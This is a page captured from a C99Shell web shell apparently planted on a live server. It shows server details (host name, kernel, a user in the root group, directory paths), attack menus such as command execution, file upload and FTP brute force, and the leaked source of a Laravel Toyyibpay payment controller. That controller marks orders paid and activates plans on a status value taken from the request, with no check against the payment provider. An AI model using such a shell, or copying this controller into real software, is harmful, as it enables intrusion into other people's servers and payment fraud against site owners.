!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ToyyibpayController.php (21.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Coupon;
use 
App\Models\Customer;
use 
App\Models\Order;
use 
App\Models\Plan;
use 
App\Models\User;
use 
App\Models\UserCoupon;
use 
Exception;
use 
Illuminate\Http\Request;
use 
App\Models\Utility;
use 
App\Models\Invoice;
use 
App\Models\InvoicePayment;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\DB;

class 
ToyyibpayController extends Controller
{
    public 
$secretKey$callBackUrl$returnUrl$categoryCode$is_enabled$invoiceData;

    public function 
paymentConfig()
    {
         
$payment_setting Utility::getAdminPaymentSetting();


        
$this->secretKey = isset($payment_setting['toyyibpay_secret_key']) ? $payment_setting['toyyibpay_secret_key'] : '';
        
$this->categoryCode                = isset($payment_setting['toyyibpay_category_code']) ? $payment_setting['toyyibpay_category_code'] : '';
        
$this->is_enabled          = isset($payment_setting['is_toyyibpay_enabled']) ? $payment_setting['is_toyyibpay_enabled'] : 'off';
        
$this->currency          = isset($payment_setting['currency']) ? $payment_setting['currency'] : '';

        return 
$this;
    }

    public function 
companyPaymentConfig()
    {

        
$payment_setting Utility::getCompanyPaymentSetting($this->invoiceData->created_by);
        
$setting Utility::settingsById($this->invoiceData->created_by);

        
$this->secretKey = isset($payment_setting['toyyibpay_secret_key']) ? $payment_setting['toyyibpay_secret_key'] : '';
        
$this->categoryCode                = isset($payment_setting['toyyibpay_category_code']) ? $payment_setting['toyyibpay_category_code'] : '';
        
$this->is_enabled          = isset($payment_setting['is_toyyibpay_enabled']) ? $payment_setting['is_toyyibpay_enabled'] : 'off';
        
$this->currency          = isset($setting['site_currency']) ? $setting['site_currency'] : '';

        return 
$this;
    }


    public function 
index()
    {
        return 
view('payment');
    }

    public function 
planPayWithToyyibpay(Request $request)
    {

        
$payment $this->paymentConfig();

        try {
            
$planID \Illuminate\Support\Facades\Crypt::decrypt($request->plan_id);
            
$plan   Plan::find($planID);

            if (
$plan) {
                
$get_amount $plan->price;
                if (!empty(
$request->coupon)) {
                    
$coupons Coupon::where('code'strtoupper($request->coupon))->where('is_active''1')->first();
                    if (!empty(
$coupons)) {
                        
$usedCoupun     $coupons->used_coupon();
                        
$discount_value = ($plan->price 100) * $coupons->discount;
                        
$get_amount          $plan->price $discount_value;

                        if (
$coupons->limit == $usedCoupun) {
                            return 
redirect()->back()->with('error'__('This coupon code has expired.'));
                        }
                    } else {
                        return 
redirect()->back()->with('error'__('This coupon code is invalid or has expired.'));
                    }
                }
                
//start for 100% coupon apply
                
if($get_amount <= 0){
                    
$orderID strtoupper(str_replace('.'''uniqid(''true)));
                    
$user auth()->user();
                    
$statuses 'success';
                    
$order                 = new Order();
                    
$order->order_id       $orderID;
                    
$order->name           $user->name;
                    
$order->card_number    '';
                    
$order->card_exp_month '';
                    
$order->card_exp_year  '';
                    
$order->plan_name      $plan->name;
                    
$order->plan_id        $plan->id;
                    
$order->price          $get_amount;
                    
$order->price_currency $this->currency;
                    
$order->payment_type   __('Toyyibpay');
                    
$order->payment_status $statuses;
                    
$order->receipt        '';
                    
$order->user_id        $user->id;
                    
$order->save();
                    
$assignPlan $user->assignPlan($plan->id);
                    
$coupons Coupon::find($request->coupon_id);
                    if (!empty(
$request->coupon_id)) {
                        if (!empty(
$coupons)) {
                            
$userCoupon         = new UserCoupon();
                            
$userCoupon->user   $user->id;
                            
$userCoupon->coupon $coupons->id;
                            
$userCoupon->order  $orderID;
                            
$userCoupon->save();
                            
$usedCoupun $coupons->used_coupon();
                            if (
$coupons->limit <= $usedCoupun) {
                                
$coupons->is_active 0;
                                
$coupons->save();
                            }
                        }
                    }
                    if (
$assignPlan['is_success']) {
                        return 
redirect()->route('plans.index')->with('success'__('Plan activated Successfully.'));
                    } else {
                        return 
redirect()->route('plans.index')->with('error'__($assignPlan['error']));
                    }
                }
                
//end for 100% coupon apply

                
$coupon = (empty($request->coupon)) ? "0" $request->coupon;
                
$this->callBackUrl route('plan.status', [$plan->id$get_amount$coupon]);
                
$this->returnUrl route('plan.status', [$plan->id$get_amount$coupon]);

                
$Date date('d-m-Y');
                
$ammount $get_amount;
                
$billName $plan->name;
                
$description $plan->name;
                
$billExpiryDays 3;
                
$billExpiryDate date('d-m-Y'strtotime($Date ' + 3 days'));
                
$billContentEmail "Thank you for purchasing our product!";

                
$some_data = array(
                    
'userSecretKey' => $this->secretKey,
                    
'categoryCode' => $this->categoryCode,
                    
'billName' => $billName,
                    
'billDescription' => $description,
                    
'billPriceSetting' => 1,
                    
'billPayorInfo' => 1,
                    
'billAmount' => 100 $ammount,
                    
'billReturnUrl' => $this->returnUrl,
                    
'billCallbackUrl' => $this->callBackUrl,
                    
'billExternalReferenceNo' => 'AFR341DFI',
                    
'billTo' => 'John Doe',
                    
'billEmail' => 'jd@gmail.com',
                    
'billPhone' => '0194342411',
                    
'billSplitPayment' => 0,
                    
'billSplitPaymentArgs' => '',
                    
'billPaymentChannel' => '0',
                    
'billContentEmail' => $billContentEmail,
                    
'billChargeToCustomer' => 1,
                    
'billExpiryDate' => $billExpiryDate,
                    
'billExpiryDays' => $billExpiryDays
                
);

                
$curl curl_init();
                
curl_setopt($curlCURLOPT_POST1);
                
curl_setopt($curlCURLOPT_URL'https://toyyibpay.com/index.php/api/createBill');
                
curl_setopt($curlCURLOPT_RETURNTRANSFERtrue);
                
curl_setopt($curlCURLOPT_POSTFIELDS$some_data);
                
$result curl_exec($curl);
                
$info curl_getinfo($curl);
                
curl_close($curl);
                
$obj json_decode($result);

                if(
$get_amount != 0)
                {
                    if(!empty(
$obj)) {
                        return 
redirect('https://toyyibpay.com/' $obj[0]->BillCode);
                    }
                }

            } else {
                return 
redirect()->route('plans.index')->with('error'__('Plan is deleted.'));
            }
        } catch (
Exception $e) {

            return 
redirect()->route('plans.index')->with('error'__($e->getMessage()));
        }
    }
    public function 
getPaymentStatus(Request $request$planId$getAmount$couponCode)
    {
        
$payment $this->paymentConfig();

        if (
$couponCode != 0) {
            
$coupons Coupon::where('code'strtoupper($couponCode))->where('is_active''1')->first();
            
$request['coupon_id'] = $coupons->id;
        } else {
            
$coupons null;
        }

        
$plan Plan::find($planId);
        
$user auth()->user();
        
// $request['status_id'] = 1;

        // 1=success, 2=pending, 3=fail
        
try {
            
$orderID strtoupper(str_replace('.'''uniqid(''true)));
            if (
$request->status_id == 3) {
                
$statuses 'Fail';
                
$order                 = new Order();
                
$order->order_id       $orderID;
                
$order->name           $user->name;
                
$order->card_number    '';
                
$order->card_exp_month '';
                
$order->card_exp_year  '';
                
$order->plan_name      $plan->name;
                
$order->plan_id        $plan->id;
                
$order->price          $getAmount;
                
$order->price_currency $this->currency;
                
$order->payment_type   __('Toyyibpay');
                
$order->payment_status $statuses;
                
$order->receipt        '';
                
$order->user_id        $user->id;
                
$order->save();
                return 
redirect()->route('plans.index')->with('error'__('Your Transaction is fail please try again'));
            } else if (
$request->status_id == 2) {
                
$statuses 'Pending';
                
$order                 = new Order();
                
$order->order_id       $orderID;
                
$order->name           $user->name;
                
$order->card_number    '';
                
$order->card_exp_month '';
                
$order->card_exp_year  '';
                
$order->plan_name      $plan->name;
                
$order->plan_id        $plan->id;
                
$order->price          $getAmount;
                
$order->price_currency $this->currency;
                
$order->payment_type   __('Toyyibpay');
                
$order->payment_status $statuses;
                
$order->receipt        '';
                
$order->user_id        $user->id;
                
$order->save();
                return 
redirect()->route('plans.index')->with('success'__('Your transaction on pandding'));
            } else if (
$request->status_id == 1) {
                
$statuses 'Success';
                
$order                 = new Order();
                
$order->order_id       $orderID;
                
$order->name           $user->name;
                
$order->card_number    '';
                
$order->card_exp_month '';
                
$order->card_exp_year  '';
                
$order->plan_name      $plan->name;
                
$order->plan_id        $plan->id;
                
$order->price          $getAmount;
                
$order->price_currency $this->currency;
                
$order->payment_type   __('Toyyibpay');
                
$order->payment_status $statuses;
                
$order->receipt        '';
                
$order->user_id        $user->id;
                
$order->save();
                
$assignPlan $user->assignPlan($plan->id);
                
$coupons Coupon::find($request->coupon_id);
                if (!empty(
$request->coupon_id)) {
                    if (!empty(
$coupons)) {
                        
$userCoupon         = new UserCoupon();
                        
$userCoupon->user   $user->id;
                        
$userCoupon->coupon $coupons->id;
                        
$userCoupon->order  $orderID;
                        
$userCoupon->save();
                        
$usedCoupun $coupons->used_coupon();
                        if (
$coupons->limit <= $usedCoupun) {
                            
$coupons->is_active 0;
                            
$coupons->save();
                        }
                    }
                }
                if (
$assignPlan['is_success']) {
                    return 
redirect()->route('plans.index')->with('success'__('Plan activated Successfully.'));
                } else {
                    return 
redirect()->route('plans.index')->with('error'__($assignPlan['error']));
                }
            } else {
                return 
redirect()->route('plans.index')->with('error'__('Plan is deleted.'));
            }
        } catch (
Exception $e) {
            return 
redirect()->route('plans.index')->with('error'__($e->getMessage()));
        }
    }


    public function 
invoicepaywithtoyyibpay(Request $request)
    {
        
// dd($request->all());
        
$invoiceID \Illuminate\Support\Facades\Crypt::decrypt($request->invoice_id);
        
$invoice Invoice::find($invoiceID);
        
$this->invoiceData $invoice;
        
$user      User::find($invoice->created_by);
        
$payment   $this->companyPaymentConfig();
        
$settings  DB::table('settings')->where('created_by''=',$invoice->created_by)->get()->pluck('value''name');
        
$get_amount $request->amount;

        if (
$invoice)
        {
            if (
$get_amount $invoice->getDue())
            {
                return 
redirect()->back()->with('error'__('Invalid amount.'));
            }
            else
            {
                
$orderID strtoupper(str_replace('.'''uniqid(''true)));
                
$name Utility::invoiceNumberFormat($settings$invoice->invoice_id);
                
$this->callBackUrl route('customer.toyyibpay', [$invoice->id$get_amount]);
                
$this->returnUrl route('customer.toyyibpay', [$invoice->id$get_amount]);

            }
            
$Date date('d-m-Y');
            
$ammount $get_amount;
            
$billExpiryDays 3;
            
$billExpiryDate date('d-m-Y'strtotime($Date ' + 3 days'));
            
$billContentEmail "Thank you for purchasing our product!";
            
$some_data = array(
                
'userSecretKey' => $this->secretKey,
                
'categoryCode' => $this->categoryCode,
                
'billName' => "invoice",
                
'billDescription' => "invoice",
                
'billPriceSetting' => 1,
                
'billPayorInfo' => 1,
                
'billAmount' => 100 $ammount,
                
'billReturnUrl' => $this->returnUrl,
                
'billCallbackUrl' => $this->callBackUrl,
                
'billExternalReferenceNo' => 'AFR341DFI',
                
'billTo' => $user->name,
                
'billEmail' => $user->email,
                
'billPhone' => '0000000000',
                
'billSplitPayment' => 0,
                
'billSplitPaymentArgs' => '',
                
'billPaymentChannel' => '0',
                
'billContentEmail' => $billContentEmail,
                
'billChargeToCustomer' => 1,
                
'billExpiryDate' => $billExpiryDate,
                
'billExpiryDays' => $billExpiryDays,
            );
            
$curl curl_init();
            
curl_setopt($curlCURLOPT_POST1);
            
curl_setopt($curlCURLOPT_URL'https://toyyibpay.com/index.php/api/createBill');
            
curl_setopt($curlCURLOPT_RETURNTRANSFERtrue);
            
curl_setopt($curlCURLOPT_POSTFIELDS$some_data);
            
$result curl_exec($curl);
            
$info curl_getinfo($curl);
            
curl_close($curl);
            
$obj json_decode($result);
            if(
$get_amount != 0)
            {
                if(!empty(
$obj)) {
                    return 
redirect('https://toyyibpay.com/' $obj[0]->BillCode);
                }
            }

            return 
redirect()->route('invoice.link.copy'\Crypt::encrypt($invoice->id))->with('error'__('Please enter valid amount'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
getInvoicePaymentStatus(Request $request$invoice_id$amount)
    {
//         dd($request->all(),$invoice_id, $amount);
        
$invoice Invoice::find($invoice_id);
        
$this->invoiceData $invoice;
//        $settings  = DB::table('settings')->where('created_by', '=', $invoice->created_by)->get()->pluck('value', 'name');
        
$settings  Utility::settingsById($invoice->created_by);
        
$payment_id \Session::get('PayerID');
        
\Session::forget('PayerID');
        if (empty(
$request->PayerID || empty($request->token))) {
            return 
redirect()->back()->with('error'__('Payment failed'));
        }
        
$orderID  strtoupper(str_replace('.'''uniqid(''true)));
        try
        {
            if (
$request->status_id == 3)
            {
                return 
redirect()->route('invoice.link.copy'\Crypt::encrypt($invoice->id))->with('error'__('Your Transaction is fail please try again'));
            }
            else if (
$request->status_id == 2)
            {
                return 
redirect()->route('invoice.link.copy'\Crypt::encrypt($invoice->id))->with('error'__('Your Transaction on pending'));
            }
            else if (
$request->status_id == 1)
            {
                
$payments InvoicePayment::create(
                    [

                        
'invoice_id' => $invoice->id,
                        
'date' => date('Y-m-d'),
                        
'amount' => $amount,
                        
'account_id' => 0,
                        
'payment_method' => 0,
                        
'order_id' => $orderID,
                        
'payment_type' => __('Toyyibpay'),
                        
'receipt' => '',
                        
'reference' => '',
                        
'description' => 'Invoice ' Utility::invoiceNumberFormat($settings$invoice->invoice_id),
                    ]
                );

                
$invoicePayment              = new \App\Models\Transaction();
                
$invoicePayment->user_id     $invoice->customer_id;
                
$invoicePayment->user_type   'Customer';
                
$invoicePayment->type        'Toyyibpay';
                
$invoicePayment->created_by  \Auth::check() ? \Auth::user()->id $invoice->customer_id;
                
$invoicePayment->payment_id  $invoicePayment->id;
                
$invoicePayment->category    'Invoice';
                
$invoicePayment->amount      $amount;
                
$invoicePayment->date        date('Y-m-d');
                
$invoicePayment->created_by  \Auth::check() ? \Auth::user()->creatorId() : $invoice->created_by;
                
$invoicePayment->payment_id  $payments->id;
                
$invoicePayment->description 'Invoice ' Utility::invoiceNumberFormat($settings$invoice->invoice_id);
                
$invoicePayment->account     0;
                
\App\Models\Transaction::addTransaction($invoicePayment);

                
//for customer balance update
                
Utility::updateUserBalance('customer'$invoice->customer_id$request->amount'debit');



                
//For Notification
                
$setting  Utility::settingsById($invoice->created_by);
                
$customer Customer::find($invoice->customer_id);
                
$notificationArr = [
                    
'payment_price' => $request->amount,
                    
'invoice_payment_type' => 'Toyyibpay',
                    
'customer_name' => $customer->name,
                ];
                
//Slack Notification
                
if(isset($setting['payment_notification']) && $setting['payment_notification'] ==1)
                {
                    
Utility::send_slack_msg('new_invoice_payment'$notificationArr,$invoice->created_by);
                }
                
//Telegram Notification
                
if(isset($setting['telegram_payment_notification']) && $setting['telegram_payment_notification'] == 1)
                {
                    
Utility::send_telegram_msg('new_invoice_payment'$notificationArr,$invoice->created_by);
                }
                
//Twilio Notification
                
if(isset($setting['twilio_payment_notification']) && $setting['twilio_payment_notification'] ==1)
                {
                    
Utility::send_twilio_msg($customer->contact,'new_invoice_payment'$notificationArr,$invoice->created_by);
                }
                
//webhook
                
$module ='New Invoice Payment';
                
$webhook=  Utility::webhookSetting($module,$invoice->created_by);
                if(
$webhook)
                {
                    
$parameter json_encode($invoicePayment);
                    
$status Utility::WebhookCall($webhook['url'],$parameter,$webhook['method']);
                    if(
$status == true)
                    {
                        return 
redirect()->route('invoice.link.copy'\Crypt::encrypt($invoice->id))->with('error'__('Transaction has been failed.'));
                    }
                    else
                    {
                        return 
redirect()->back()->with('error'__('Webhook call failed.'));
                    }
                }


                if (
\Auth::check()) {
                    return 
redirect()->route('invoice.link.copy'\Crypt::encrypt($invoice->id))->with('error'__('Transaction has been failed.'));
                } else
                {
                    return 
redirect()->back()->with('success'__(' Payment successfully added.'));
                }

            }
        }
        catch (
\Exception $e)
        {
            if (
\Auth::check())
            {
                return 
redirect()->route('invoice.link.copy'\Crypt::encrypt($invoice->id))->with('error'__('Transaction has been failed.'));
            } else
            {
                return 
redirect()->back()->with('success'__('Transaction has been completed.'));
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0063 ]--